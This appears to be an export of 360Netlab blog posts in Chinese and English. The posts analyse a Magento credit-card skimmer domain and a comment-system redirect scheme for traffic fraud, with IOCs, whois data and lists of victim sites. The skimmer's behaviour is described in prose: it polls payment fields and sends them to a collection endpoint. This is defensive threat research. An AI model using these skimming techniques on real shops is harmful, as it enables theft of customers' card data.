CMS的下游购物网站。\n\n\nmagento-analytics[.]com和magento[.]com在域名上具有高度的相似性，根据两者whois和ip的历史信息，我们可以判定magento-analytics[.]com并非Magento官方的基础设施，而是攻击者用来混淆视听的恶意域名。\n\n\n对比两者近期的whois历史记录可以看出：magento[.]com的信息公开透明并及时更新，Adobe收购Magento一事也可以从中看出；而magento-analytics[.]com则启用了whois隐私保护，这是攻击者的惯用伎俩，也和Magento风格迥异。\n\n\n```\nmagento[.]com\ncreateddate 2010-02-08 19:47:21 \nupdateddate 2018-11-27 18:34:21 \nexpiresdate 2020-02-08 19:47:21 \nregistrant_email [email protected] \nregistrant_name Domain Administrator\nregistrant_organization Adobe Inc. \n------------------------------------------------\ncreateddate 2010-02-08 00:00:00 \nupdateddate 2018-01-07 10:19:03 \nexpiresdate 2019-02-08 19:47:21 \nregistrant_organization X.commerce, Inc.\n\nmagento-analytics[.]com\ncreateddate 2018-05-12 06:46:51 \nupdateddate 2018-05-12 06:46:52 \nexpiresdate 2019-05-12 06:46:51 \nregistrant_email [email protected] \nregistrant_name WhoisGuard Protected \nregistrant_organization WhoisGuard, Inc.\n```\n\n\n而Magento也从未在dns层面和magento-analytics[.]com有过相近。\n\n\n\n\n\n根据受害网站被挂黑链的位置、部分受害网站出现重复黑链等现象，我们推测攻击者可能利用了Magento的相关漏洞对受害网站进行攻击并植入恶意代码。\n\n\n\n\n\n## 影响范围\n\n\n该恶意域名偷信用卡的行为已经持续了5个月之久，我们在大网范围内看到一共有105个网站加载了该JS，当前 Alexa Top 100万[^2]网站中，被渗透的网站有如下6个：\n\n\n```\nimitsosa[.]com\nalkoholeswiata[.]com\nspieltraum-shop[.]de\nilybean[.]com\nmtbsale[.]com\nucc-bd[.]com\n```\n\n\n考虑到我们的视野是有限的，全网范围内会存在更多被magento-analytics[.]com利用的网站。\n建议使用Magento CMS的电商网站通过订阅官方的安全告警、及时打官方补丁[^3]等方式加固自身的网站安全。\n\n\n当前我们的DNSMon系统已经将该域名拦截，以降低国内用户数据泄漏的风险。需要反思的是，该恶意域名偷信用卡数据偷了5个月了，尽管有其他安全厂家可能比我们更早的发现或确认了这个恶意域名，可该域名至今没有被大范围封堵。\n\n\n## IOCs\n\n```\nmagento-analytics[.]com\nAS | IP | AS Name\n55933 | 93.187.129.249 | CLOUDIE-AS-AP Cloudie Limited, HK\n```\n\n## 受影响网站\n\n```\nadirectholdings[.]com\nadm[.]sieger-trophaen[.]de\nadventureequipment[.]com[.]au\nalkoholeswiata[.]com\nalphathermalsystems[.]com\nameta-anson[.]com\nametagroup[.]com\nametawest[.]com\nappliancespareparts[.]com[.]au\narmenianbread[.]com\nautosportcompany[.]nl\nbagboycompany[.]com\nboardbookalbum[.]biz\nboardbookalbum[.]com\nboardbookalbum[.]net\nboardbookalbums[.]biz\nboardbookalbums[.]net\nburmabibas[.]com\nbusinesstravellerbags[.]com\nclotures-electriques[.]fr\ncltradingfl[.]com\ncolorsecretspro[.]com\nconnfab[.]com\ncupidonlingerie[.]fr\ndevantsporttowels[.]com\ndiamondbladedealer[.]com\ndigital-2000[.]com\nemersonstreetclothing[.]com\nequalli[.]com\nequalli[.]co[.]uk\nequalli[.]de\neu[.]twoajewelry[.]com\neyeongate[.]net\nfitnessmusic[.]com\nfluttereyewear[.]com\nfreemypaws[.]info\ngabelshop[.]ch\ngosuworld[.]com\nhotelcathedrale[.]be\nhuntsmanproducts[.]com[.]au\niconicpineapple[.]com\nilybean[.]com\nimitsosa[.]com\njasonandpartners[.]com[.]au\njekoshop[.]com\njekoshop[.]de\njunglefeveramerica[.]com\nkermanigbakery[.]com\nkermanigfoods[.]com\nkings2[.]com\nkoalabi[.]com\nlamajune[.]com\nli375-244[.]members[.]linode[.]com\nlibertyboutique[.]com[.]au\nlighteningcornhole[.]com\nlighting-direct[.]com[.]au\nlightingwill[.]com\nliquorishonline[.]com\nlojacristinacairo[.]com[.]br\nmagformers[.]com\nmaxqsupport[.]com\nmdcpublishers[.]com\nmeizitangireland[.]com\nmockberg[.]com\nmonsieurplus[.]com\nmont[.]com[.]au\nmtbsale[.]com\nnoirnyc[.]com\nnyassabathandbody[.]com\npgmetalshop[.]com\npinkorchard[.]com\npizzaholic[.]net\npowermusic[.]com\nprestigeandfancy[.]com\nprestigebag[.]com\nprestigefancy[.]com\nprestigepakinc[.]com\nprettysalonusa[.]com\npromusica[.]ie\nqspproducts[.]com\nqspproducts[.]nl\nqspracewear[.]nl\nrightwayhp[.]com\nsafarijewelry[.]com\nschogini[.]biz\nshopatsimba[.]com\nspalventilator[.]nl\nspieltraum-shop[.]de\nstorageshedsoutlet[.]com\nstylishfashionusa[.]com\nsuitpack[.]co[.]uk\nsvpmobilesystems[.]com\ntask-tools[.]com\ntiroler-kraeuterhof[.]at\ntiroler-kraeuterhof[.]com\ntiroler-kraeuterhof-naturkosmetik[.]com\nucc-bd[.]com\nussi-md[.]com\nutvcover[.]com\nvezabands[.]com\nvitibox[.]co[.]uk\nwaltertool[.]info\nwaltertool[.]org\nwaltertools[.]com\nworkoutmusic[.]com\n```\n\n\n\n[^1]: hxxps://cdn.riskiq.com/wp-content/uploads/2018/11/RiskIQ-Flashpoint-Inside-MageCart-Report.pdf\n[^2]: Alexa数据变动频繁，具体排名可能不准\n[^3]: hxxps://magento[.]com/security\n"}]],"markups":[],"sections":[[1,"p",[]],[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5cc1616440e02300075fa37c |
post | null | 2019-04-26T10:36:34.000Z | 63873b9a8b1c1e0007f52f48 | li-yong-ping-lun-xi-tong-lai-shua-yan-gao-liu-liang-de-case | 0 | 2019-05-08T09:08:00.000Z | public | draft | null | null | 利用评论系统来刷流量的案例分析 | <!--kg-card-begin: markdown--><h3 id="">缘起</h3>
<p>360netlab的DNSMon在其自动阻断系统中发现了一个奇怪的域名，URL是一个图片链接，访问这个链接的时候，会跳转到特定的网站，并且带有特定的看起来是标识来源的ID。<br>
<img src="__GHOST_URL__/content/images/2019/04/daheit_ctrip_ad.png" alt="daheit_ctrip_ad" loading="lazy"><br>
经过分析，这套自动化的刷广告来源于现在较少关注的网站评论系统。<br>
目前的数据中发现涉及的评论系统包括 搜狐畅言，网易跟帖系统，爱奇艺，360的评论等较为流行的评论系统。<img src="__GHOST_URL__/content/images/2019/04/big_company_comment_sys.png" alt="big_company_comment_sys" loading="lazy"><br>
值得一提的是由于搜狐的畅言评论系统被广泛的使用，所以影响的范围除了上述一个大站之外，有很多使用畅言评论系统的网站也会受到影响。</p>
<h3 id="">刷流量的流程</h3>
<p>整个流程大同小异，我们以网易评论系统为例看下整个流程：</p>
<ol>
<li>一般会选择比较热门的新闻进行评论。评论使用的头像是一个伪造img0.ph.126.net图床的域名img0.ph-126.net。<br>
<img src="__GHOST_URL__/content/images/2019/04/ph-126.net.png" alt="ph-126.net" loading="lazy"></li>
<li>访问 img0.ph-126.net 之后，是一个302跳转，跳转到 gwylxzj.cn, 链接仍然是一个jpg结尾的URL。gwylxzj.cn是新起的一个域名（从PDNS数据看，从2019.04.30开始生效），其的作用和前面提到的daheit.cc的作用完全相同，他们使用了相同的IP地址，URL也一样。<br>
<img src="__GHOST_URL__/content/images/2019/04/ph-126.net.v1.png" alt="ph-126.net.v1" loading="lazy"></li>
<li>继续访问gwylxzj.cn之后，又一个302跳转，最终跳转到目标站，这次访问的携程网。可以清楚的看到URL中，携带了AllianceID，sid和app等信息。<br>
<img src="__GHOST_URL__/content/images/2019/04/ph-126.net.v2.png" alt="ph-126.net.v2" loading="lazy"></li>
</ol>
<p>从IP的层面来看，gwylxzj.cn与daheit.cc具有完全相同的IP地址<br>
<img src="__GHOST_URL__/content/images/2019/04/daheit_vs_gwylxzj.png" alt="daheit_vs_gwylxzj" loading="lazy"><br>
从DNS流量图上，能够非常明显的看到两者前赴后继的继承关系<br>
<img src="__GHOST_URL__/content/images/2019/05/daheit_gwy_dns_traffic.png" alt="daheit_gwy_dns_traffic" loading="lazy"></p>
<h3 id="">不同域名之间的关联</h3>
<p>在不同的评论系统之间使用不同的域名，并且使用的域名和所在的评论系统有近似的名称。那么他们使用的域名本身有没有关联呢？答案是有的。下面我们从web页面的内容和基础设施两方面来看。</p>
<h4 id="web">web内容关联</h4>
<p>页面均返回hello world<br>
<img src="__GHOST_URL__/content/images/2019/04/web_page.png" alt="web_page" loading="lazy"></p>
<h4 id="">基础设施关联</h4>
<p>除了在web页面上近似完全相同之外，其使用的IP地址也有极强的关联。其中有一个关键的IP 122.114.197.181 将两组grop关联了起来（*.taobao90.cn 簇以及 *.weyi.cc 簇）<br>
<img src="__GHOST_URL__/content/images/2019/04/graph_sys_all_v2.png" alt="graph_sys_all_v2" loading="lazy"></p>
<p>除了在IP层面，我们注意到这一组域名中，有些域名启用了HTTPS加密，在证书层面，他们并没有共用证书或者公用公钥。我们weyi.cc, ph-126.net和 ie3.cc 这个三个域名的证书都是Let's encrypt签发的，并且其证书生效时间前后相差不到一分钟。<br>
<img src="__GHOST_URL__/content/images/2019/04/tls_ie3c_weyi_ph-126.png" alt="tls_ie3c_weyi_ph-126" loading="lazy"></p>
<p>结合上面的关联，可以看出，这应该是同一伙儿人操作。</p>
<h3 id="ioc">IoC</h3>
<p>www.daheit.cc<br>
www.taobao90.cn<br>
gwylxzj.cn<br>
www.youdiangui.net<br>
wwww-qiyipic.com<br>
img1.ph-126.net<br>
z.jiaoqing.wang<br>
img.haochali.cc<br>
d.jiaoqing.wang<br>
www.ie3.cc<br>
www.weyi.cc<br>
p4.qhimg.com.weyi.cc<br>
p4.ssl.qhimg.com.ie3.cc<br>
y0.cn/ie3c</p>
<!--kg-card-end: markdown--> | 缘起
360netlab的DNSMon在其自动阻断系统中发现了一个奇怪的域名，URL是一个图片链接，访问这个链接的时候，会跳转到特定的网站，并且带有特定的看起来是标识来源的ID。
经过分析，这套自动化的刷广告来源于现在较少关注的网站评论系统。
目前的数据中发现涉及的评论系统包括 搜狐畅言，网易跟帖系统，爱奇艺，360的评论等较为流行的评论系统。
值得一提的是由于搜狐的畅言评论系统被广泛的使用，所以影响的范围除了上述一个大站之外，有很多使用畅言评论系统的网站也会受到影响。
刷流量的流程
整个流程大同小异，我们以网易评论系统为例看下整个流程：
1. 一般会选择比较热门的新闻进行评论。评论使用的头像是一个伪造img0.ph.126.net图床的域名img0.ph-126.net。
2. 访问 img0.ph-126.net 之后，是一个302跳转，跳转到 gwylxzj.cn, 链接仍然是一个jpg结尾的URL。gwylxzj.cn是新起的一个域名（从PDNS数据看，从2019.04.30开始生效），其的作用和前面提到的daheit.cc的作用完全相同，他们使用了相同的IP地址，URL也一样。
3. 继续访问gwylxzj.cn之后，又一个302跳转，最终跳转到目标站，这次访问的携程网。可以清楚的看到URL中，携带了AllianceID，sid和app等信息。
从IP的层面来看，gwylxzj.cn与daheit.cc具有完全相同的IP地址
从DNS流量图上，能够非常明显的看到两者前赴后继的继承关系
不同域名之间的关联
在不同的评论系统之间使用不同的域名，并且使用的域名和所在的评论系统有近似的名称。那么他们使用的域名本身有没有关联呢？答案是有的。下面我们从web页面的内容和基础设施两方面来看。
web内容关联
页面均返回hello world
基础设施关联
除了在web页面上近似完全相同之外，其使用的IP地址也有极强的关联。其中有一个关键的IP 122.114.197.181 将两组grop关联了起来（*.taobao90.cn 簇以及 *.weyi.cc 簇）
除了在IP层面，我们注意到这一组域名中，有些域名启用了HTTPS加密，在证书层面，他们并没有共用证书或者公用公钥。我们weyi.cc, ph-126.net和 ie3.cc 这个三个域名的证书都是Let's encrypt签发的，并且其证书生效时间前后相差不到一分钟。
结合上面的关联，可以看出，这应该是同一伙儿人操作。
IoC
www.daheit.cc
www.taobao90.cn
gwylxzj.cn
www.youdiangui.net
wwww-qiyipic.com
img1.ph-126.net
z.jiaoqing.wang
img.haochali.cc
d.jiaoqing.wang
www.ie3.cc
www.weyi.cc
p4.qhimg.com.weyi.cc
p4.ssl.qhimg.com.ie3.cc
y0.cn/ie3c
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"### 缘起\n360netlab的DNSMon在其自动阻断系统中发现了一个奇怪的域名，URL是一个图片链接，访问这个链接的时候，会跳转到特定的网站，并且带有特定的看起来是标识来源的ID。\n\n经过分析，这套自动化的刷广告来源于现在较少关注的网站评论系统。\n目前的数据中发现涉及的评论系统包括 搜狐畅言，网易跟帖系统，爱奇艺，360的评论等较为流行的评论系统。\n值得一提的是由于搜狐的畅言评论系统被广泛的使用，所以影响的范围除了上述一个大站之外，有很多使用畅言评论系统的网站也会受到影响。\n\n### 刷流量的流程\n整个流程大同小异，我们以网易评论系统为例看下整个流程：\n1. 一般会选择比较热门的新闻进行评论。评论使用的头像是一个伪造img0.ph.126.net图床的域名img0.ph-126.net。\n\n2. 访问 img0.ph-126.net 之后，是一个302跳转，跳转到 gwylxzj.cn, 链接仍然是一个jpg结尾的URL。gwylxzj.cn是新起的一个域名（从PDNS数据看，从2019.04.30开始生效），其的作用和前面提到的daheit.cc的作用完全相同，他们使用了相同的IP地址，URL也一样。\n\n3. 继续访问gwylxzj.cn之后，又一个302跳转，最终跳转到目标站，这次访问的携程网。可以清楚的看到URL中，携带了AllianceID，sid和app等信息。\n\n\n从IP的层面来看，gwylxzj.cn与daheit.cc具有完全相同的IP地址\n\n从DNS流量图上，能够非常明显的看到两者前赴后继的继承关系\n\n\n\n### 不同域名之间的关联\n在不同的评论系统之间使用不同的域名，并且使用的域名和所在的评论系统有近似的名称。那么他们使用的域名本身有没有关联呢？答案是有的。下面我们从web页面的内容和基础设施两方面来看。\n#### web内容关联\n页面均返回hello world\n\n#### 基础设施关联\n除了在web页面上近似完全相同之外，其使用的IP地址也有极强的关联。其中有一个关键的IP 122.114.197.181 将两组grop关联了起来（\\*.taobao90.cn 簇以及 \\*.weyi.cc 簇）\n\n\n除了在IP层面，我们注意到这一组域名中，有些域名启用了HTTPS加密，在证书层面，他们并没有共用证书或者公用公钥。我们weyi.cc, ph-126.net和 ie3.cc 这个三个域名的证书都是Let's encrypt签发的，并且其证书生效时间前后相差不到一分钟。\n\n\n结合上面的关联，可以看出，这应该是同一伙儿人操作。\n\n### IoC\nwww.daheit.cc\nwww.taobao90.cn\ngwylxzj.cn\nwww.youdiangui.net\nwwww-qiyipic.com\nimg1.ph-126.net\nz.jiaoqing.wang\nimg.haochali.cc\nd.jiaoqing.wang\nwww.ie3.cc\nwww.weyi.cc\np4.qhimg.com.weyi.cc\np4.ssl.qhimg.com.ie3.cc\ny0.cn/ie3c"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5cc2df3240e02300075fa59e |
post | null | 2019-05-05T07:11:13.000Z | 63873b9a8b1c1e0007f52f49 | ongoing-credit-card-data-leak | 0 | 2019-05-08T12:00:00.000Z | public | published | null | 2019-05-08T12:00:00.000Z | Ongoing Credit Card Data Leak | <p></p><!--kg-card-begin: markdown--><hr>
<blockquote>
<p>DNSMon is a network-wide DNS malicious domain analysis system we build here at 360Netlab. With the 10%+ total DNS traffic coverage in China, plus the other multi-dimensional security data and security analysis capabilities we have accumulated over the years, we can "see" what is happening in the whole network in real time from a unique perspective.</p>
</blockquote>
<hr>
<h2 id="summary">Summary</h2>
<p>Our DNSMon flagged an abnormal domain name magento-analytics[.]com, through continuous tracking, and correlation with various data, we found out that the domain name has been used to inject malicious JS script to various online shopping sites to steal the credit card owner / card number / expiration time / CVV information.</p>
<h2 id="origin">Origin</h2>
<p>In October 2018, the domain name magento-analytics[.]com appeared on our DNSMon radar, the traffic is pretty low we temporarily put it in our tracking process and start to keep an eye on it.</p>
<p><img src="__GHOST_URL__/content/images/2019/04/WechatIMG101.jpeg" alt="WechatIMG101" loading="lazy"></p>
<p>The domain is registered in Panama, but in recent months, the ip moved around from "United States - Arizona" to "Russia - Moscow", then to "China - Hong Kong." Which begs us to take a second look.</p>
<p><img src="__GHOST_URL__/content/images/2019/04/1556182793291.jpg" alt="1556182793291" loading="lazy"></p>
<h2 id="analysis">Analysis</h2>
<p>The domain returns a 403 page when you try to access it in a browser, and google search doesn’t return much details either.<br>
Luckily, as the domain is in our DNSMon tracing process, we have the ability to hang anchor points in our data streams and aggregate the data related to it. For example, we can easily find the URLs under the domain name.<br>
As you can see, the domain name has been hosting a lot of JS scripts since the beginning of December, and most of the components are very similar.</p>
<pre><code class="language-python">FirstSeen LastSeen URL
20190417 20190418 magento-analytics.com:80/5c330014a67ac.js
20190403 20190410 magento-analytics.com:80/5c6d6f33c5d6a.js
20190320 20190401 magento-analytics.com:80/5c68b7ba3ea38.js
20190315 20190315 magento-analytics.com:80/5c8ba95b0a705.js
20190305 20190305 magento-analytics.com:80/5c13086d94587.js
20190304 20190308 magento-analytics.com:80/5c3a398f10058.js
20190228 20190228 magento-analytics.com:80/5c56e1cf41cc2.js
20190222 20190326 magento-analytics.com:80/5c56e1cf41cc2.js
20190203 20190406 magento-analytics.com:80/5c330014a67ac.js
20190120 20190415 magento-analytics.com:80/gate.php
20190120 20190322 magento-analytics.com:80/5c0ff4bd5d9a5.js
20190117 20190212 magento-analytics.com:80/5c0ef8d315d78.js
20190115 20190129 magento-analytics.com:80/5c0d35f517604.js
20190110 20190314 magento-analytics.com:80/5c24b628da151.js
20190108 20190203 magento-analytics.com:80/5c0ffacc0e2e7.js
20181228 20190204 magento-analytics.com:80/5c0d3ac73f0d2.js
20181227 20190113 magento-analytics.com:80/emersonstreetclothing.js
20181227 20190111 magento-analytics.com:80/5c2227461b957.js
20181224 20190418 magento-analytics.com:80/powermusic.js
20181224 20190417 magento-analytics.com:80/5c116a3629062.js
20181224 20190326 magento-analytics.com:80/pizzaholic.js
20181224 20190105 magento-analytics.com:80/5c0d25c0abdf7.js
20181224 20181224 magento-analytics.com:443/pizzaholic.js
20181223 20181223 magento-analytics.com:443/5c0d2b47a8815.js
20181221 20181221 magento-analytics.com:443/5c0d245a4ecc3.js
20181220 20181224 magento-analytics.com:80/5c117b7b019cb.js
20181219 20181219 magento-analytics.com:443/5c0c3c82b2465.js
20181216 20181222 magento-analytics.com:443/5c1437736ba2b.js
20181215 20181221 magento-analytics.com:443/5c0c3e8455ebc.js
20181215 20181215 magento-analytics.com:443/5c0d3318981bd.js
20181214 20181224 magento-analytics.com:443/5c0d35f517604.js
20181214 20181214 magento-analytics.com:443/5c0ffacc0e2e7.js
20181214 20181214 magento-analytics.com:443/5c0d4b0b33f36.js
20181213 20181228 magento-analytics.com:443/5c0d1ae802dc7.js
20181211 20181224 magento-analytics.com:443/5c0c4602161ec.js
20181210 20181228 magento-analytics.com:443/5c0d25c0abdf7.js
20181210 20181210 magento-analytics.com:443/monsieurplus.js
20181209 20181227 magento-analytics.com:443/powermusic.js
20181209 20181212 magento-analytics.com:443/5c0c712d2510b.js
</code></pre>
<p>A pretty simple JS. As soon as the JS is loaded, a timer is set and the TrySend function is called every 500ms to try to get input data such as Number/Holder/Date/CVV, etc., once success, it finally calls SendData to report the data to [hxxps://magento-analytics.com/gate.php].<br>
The other JSs in the URLS, whether it is a 13-bytes hash-like JS, or a specially named JS such as powermusic.js/monsieurplus.js/powermusic.js, all provide the same function.</p>
<p><img src="__GHOST_URL__/content/images/2019/05/js-1-1.jpg" alt="js-1-1" loading="lazy"></p>
<h2 id="verification">Verification</h2>
<p>With the above information in hand, we can correlate this malicious domain in our DNSMon to find out what the target websites, there are 105 websites have this JS loaded(please note there should have infected websites as we DNS visibility does not cover global traffic).</p>
<p>Take one victim as an example, www.kings2.com, when a user loads its homepage, the JS runs as well. If a user selects a product and goes to the "Payment Information" to submit the credit card information, after the CVV data is entered, the credit card information will be uploaded.</p>
<p><img src="__GHOST_URL__/content/images/2019/05/victim-1.jpeg" alt="victim-1" loading="lazy"></p>
<h2 id="aboutmagentoanalytics">About magento-analytics</h2>
<p>Some quick google on keyword Magento suggest that Magento<br>
is a well-known e-commerce CMS software vendor, which was acquired by Adobe in 2018) , so, given the name magento-analytics[.]com, is this a website under magento[.]com?</p>
<p>Based on historical IP and whois information, we can probably tell magento-analytics[.]com has no affiliation with Magento, it is just a malicious domain name used by attackers to confuse regular users.</p>
<p>For whois history, magento[.]com’s records are transparent and up-to-date; While magento-analytics[.]com has whois privacy protection enabled, sharing no similar entry.</p>
<pre><code>magento[.]com
createddate 2010-02-08 19:47:21
updateddate 2018-11-27 18:34:21
expiresdate 2020-02-08 19:47:21
registrant_email [email protected]
registrant_name Domain Administrator
registrant_organization Adobe Inc.
------------------------------------------------
createddate 2010-02-08 00:00:00
updateddate 2018-01-07 10:19:03
expiresdate 2019-02-08 19:47:21
registrant_organization X.commerce, Inc.
magento-analytics[.]com
createddate 2018-05-12 06:46:51
updateddate 2018-05-12 06:46:52
expiresdate 2019-05-12 06:46:51
registrant_email [email protected]
registrant_name WhoisGuard Protected
registrant_organization WhoisGuard, Inc.
</code></pre>
<p>From DNS’s perspective, Magento and magento-analytics never shared any element, there are in totally separately clusters, as can be seen from the diagram below.</p>
<p><img src="__GHOST_URL__/content/images/2019/05/dns_compare-1.jpg" alt="dns_compare-1" loading="lazy"></p>
<h2 id="impact">Impact</h2>
<p>Now we look back, the malicious domain name has been stealing credit cards info for five months. We saw a total of 105 websites have this JS injected. The following six are among the current Alexa Top 1 million <sup class="footnote-ref"><a href="#fn1" id="fnref1">[1]</a></sup>website.</p>
<pre><code>imitsosa[.]com
alkoholeswiata[.]com
spieltraum-shop[.]de
ilybean[.]com
mtbsale[.]com
ucc-bd[.]com
</code></pre>
<p>Looking at the types of goods sold by the victim website, it is pretty broad range, including but not limited to high-end bags, mountain bikes, baby products, wine, electronic products, etc.</p>
<p>Currently our DNSMon system has blocked this domain name and our users are protected.</p>
<h2 id="iocs">IOCs</h2>
<pre><code>magento-analytics[.]com
AS | IP | AS Name
55933 | 93.187.129.249 | CLOUDIE-AS-AP Cloudie Limited, HK
</code></pre>
<h2 id="impacteddomain">Impacted Domain</h2>
<pre><code>adirectholdings[.]com
adm[.]sieger-trophaen[.]de
adventureequipment[.]com[.]au
alkoholeswiata[.]com
alphathermalsystems[.]com
ameta-anson[.]com
ametagroup[.]com
ametawest[.]com
appliancespareparts[.]com[.]au
armenianbread[.]com
autosportcompany[.]nl
bagboycompany[.]com
boardbookalbum[.]biz
boardbookalbum[.]com
boardbookalbum[.]net
boardbookalbums[.]biz
boardbookalbums[.]net
burmabibas[.]com
businesstravellerbags[.]com
clotures-electriques[.]fr
cltradingfl[.]com
colorsecretspro[.]com
connfab[.]com
cupidonlingerie[.]fr
devantsporttowels[.]com
diamondbladedealer[.]com
digital-2000[.]com
emersonstreetclothing[.]com
equalli[.]com
equalli[.]co[.]uk
equalli[.]de
eu[.]twoajewelry[.]com
eyeongate[.]net
fitnessmusic[.]com
fluttereyewear[.]com
freemypaws[.]info
gabelshop[.]ch
gosuworld[.]com
hotelcathedrale[.]be
huntsmanproducts[.]com[.]au
iconicpineapple[.]com
ilybean[.]com
imitsosa[.]com
jasonandpartners[.]com[.]au
jekoshop[.]com
jekoshop[.]de
junglefeveramerica[.]com
kermanigbakery[.]com
kermanigfoods[.]com
kings2[.]com
koalabi[.]com
lamajune[.]com
li375-244[.]members[.]linode[.]com
libertyboutique[.]com[.]au
lighteningcornhole[.]com
lighting-direct[.]com[.]au
lightingwill[.]com
liquorishonline[.]com
lojacristinacairo[.]com[.]br
magformers[.]com
maxqsupport[.]com
mdcpublishers[.]com
meizitangireland[.]com
mockberg[.]com
monsieurplus[.]com
mont[.]com[.]au
mtbsale[.]com
noirnyc[.]com
nyassabathandbody[.]com
pgmetalshop[.]com
pinkorchard[.]com
pizzaholic[.]net
powermusic[.]com
prestigeandfancy[.]com
prestigebag[.]com
prestigefancy[.]com
prestigepakinc[.]com
prettysalonusa[.]com
promusica[.]ie
qspproducts[.]com
qspproducts[.]nl
qspracewear[.]nl
rightwayhp[.]com
safarijewelry[.]com
schogini[.]biz
shopatsimba[.]com
spalventilator[.]nl
spieltraum-shop[.]de
storageshedsoutlet[.]com
stylishfashionusa[.]com
suitpack[.]co[.]uk
svpmobilesystems[.]com
task-tools[.]com
tiroler-kraeuterhof[.]at
tiroler-kraeuterhof[.]com
tiroler-kraeuterhof-naturkosmetik[.]com
ucc-bd[.]com
ussi-md[.]com
utvcover[.]com
vezabands[.]com
vitibox[.]co[.]uk
waltertool[.]info
waltertool[.]org
waltertools[.]com
workoutmusic[.]com
</code></pre>
<hr class="footnotes-sep">
<section class="footnotes">
<ol class="footnotes-list">
<li id="fn1" class="footnote-item"><p>Alexa ranking changes frequently and the specific ranking may not be correct. <a href="#fnref1" class="footnote-backref">↩︎</a></p>
</li>
</ol>
</section>
<!--kg-card-end: markdown--> |
DNSMon is a network-wide DNS malicious domain analysis system we build here at 360Netlab. With the 10%+ total DNS traffic coverage in China, plus the other multi-dimensional security data and security analysis capabilities we have accumulated over the years, we can "see" what is happening in the whole network in real time from a unique perspective.
Summary
Our DNSMon flagged an abnormal domain name magento-analytics[.]com, through continuous tracking, and correlation with various data, we found out that the domain name has been used to inject malicious JS script to various online shopping sites to steal the credit card owner / card number / expiration time / CVV information.
Origin
In October 2018, the domain name magento-analytics[.]com appeared on our DNSMon radar, the traffic is pretty low we temporarily put it in our tracking process and start to keep an eye on it.
The domain is registered in Panama, but in recent months, the ip moved around from "United States - Arizona" to "Russia - Moscow", then to "China - Hong Kong." Which begs us to take a second look.
Analysis
The domain returns a 403 page when you try to access it in a browser, and google search doesn’t return much details either.
Luckily, as the domain is in our DNSMon tracing process, we have the ability to hang anchor points in our data streams and aggregate the data related to it. For example, we can easily find the URLs under the domain name.
As you can see, the domain name has been hosting a lot of JS scripts since the beginning of December, and most of the components are very similar.
FirstSeen LastSeen URL
20190417 20190418 magento-analytics.com:80/5c330014a67ac.js
20190403 20190410 magento-analytics.com:80/5c6d6f33c5d6a.js
20190320 20190401 magento-analytics.com:80/5c68b7ba3ea38.js
20190315 20190315 magento-analytics.com:80/5c8ba95b0a705.js
20190305 20190305 magento-analytics.com:80/5c13086d94587.js
20190304 20190308 magento-analytics.com:80/5c3a398f10058.js
20190228 20190228 magento-analytics.com:80/5c56e1cf41cc2.js
20190222 20190326 magento-analytics.com:80/5c56e1cf41cc2.js
20190203 20190406 magento-analytics.com:80/5c330014a67ac.js
20190120 20190415 magento-analytics.com:80/gate.php
20190120 20190322 magento-analytics.com:80/5c0ff4bd5d9a5.js
20190117 20190212 magento-analytics.com:80/5c0ef8d315d78.js
20190115 20190129 magento-analytics.com:80/5c0d35f517604.js
20190110 20190314 magento-analytics.com:80/5c24b628da151.js
20190108 20190203 magento-analytics.com:80/5c0ffacc0e2e7.js
20181228 20190204 magento-analytics.com:80/5c0d3ac73f0d2.js
20181227 20190113 magento-analytics.com:80/emersonstreetclothing.js
20181227 20190111 magento-analytics.com:80/5c2227461b957.js
20181224 20190418 magento-analytics.com:80/powermusic.js
20181224 20190417 magento-analytics.com:80/5c116a3629062.js
20181224 20190326 magento-analytics.com:80/pizzaholic.js
20181224 20190105 magento-analytics.com:80/5c0d25c0abdf7.js
20181224 20181224 magento-analytics.com:443/pizzaholic.js
20181223 20181223 magento-analytics.com:443/5c0d2b47a8815.js
20181221 20181221 magento-analytics.com:443/5c0d245a4ecc3.js
20181220 20181224 magento-analytics.com:80/5c117b7b019cb.js
20181219 20181219 magento-analytics.com:443/5c0c3c82b2465.js
20181216 20181222 magento-analytics.com:443/5c1437736ba2b.js
20181215 20181221 magento-analytics.com:443/5c0c3e8455ebc.js
20181215 20181215 magento-analytics.com:443/5c0d3318981bd.js
20181214 20181224 magento-analytics.com:443/5c0d35f517604.js
20181214 20181214 magento-analytics.com:443/5c0ffacc0e2e7.js
20181214 20181214 magento-analytics.com:443/5c0d4b0b33f36.js
20181213 20181228 magento-analytics.com:443/5c0d1ae802dc7.js
20181211 20181224 magento-analytics.com:443/5c0c4602161ec.js
20181210 20181228 magento-analytics.com:443/5c0d25c0abdf7.js
20181210 20181210 magento-analytics.com:443/monsieurplus.js
20181209 20181227 magento-analytics.com:443/powermusic.js
20181209 20181212 magento-analytics.com:443/5c0c712d2510b.js
A pretty simple JS. As soon as the JS is loaded, a timer is set and the TrySend function is called every 500ms to try to get input data such as Number/Holder/Date/CVV, etc., once success, it finally calls SendData to report the data to [hxxps://magento-analytics.com/gate.php].
The other JSs in the URLS, whether it is a 13-bytes hash-like JS, or a specially named JS such as powermusic.js/monsieurplus.js/powermusic.js, all provide the same function.
Verification
With the above information in hand, we can correlate this malicious domain in our DNSMon to find out what the target websites, there are 105 websites have this JS loaded(please note there should have infected websites as we DNS visibility does not cover global traffic).
Take one victim as an example, www.kings2.com, when a user loads its homepage, the JS runs as well. If a user selects a product and goes to the "Payment Information" to submit the credit card information, after the CVV data is entered, the credit card information will be uploaded.
About magento-analytics
Some quick google on keyword Magento suggest that Magento
is a well-known e-commerce CMS software vendor, which was acquired by Adobe in 2018) , so, given the name magento-analytics[.]com, is this a website under magento[.]com?
Based on historical IP and whois information, we can probably tell magento-analytics[.]com has no affiliation with Magento, it is just a malicious domain name used by attackers to confuse regular users.
For whois history, magento[.]com’s records are transparent and up-to-date; While magento-analytics[.]com has whois privacy protection enabled, sharing no similar entry.
magento[.]com
createddate 2010-02-08 19:47:21
updateddate 2018-11-27 18:34:21
expiresdate 2020-02-08 19:47:21
registrant_email [email protected]
registrant_name Domain Administrator
registrant_organization Adobe Inc.
------------------------------------------------
createddate 2010-02-08 00:00:00
updateddate 2018-01-07 10:19:03
expiresdate 2019-02-08 19:47:21
registrant_organization X.commerce, Inc.
magento-analytics[.]com
createddate 2018-05-12 06:46:51
updateddate 2018-05-12 06:46:52
expiresdate 2019-05-12 06:46:51
registrant_email [email protected]
registrant_name WhoisGuard Protected
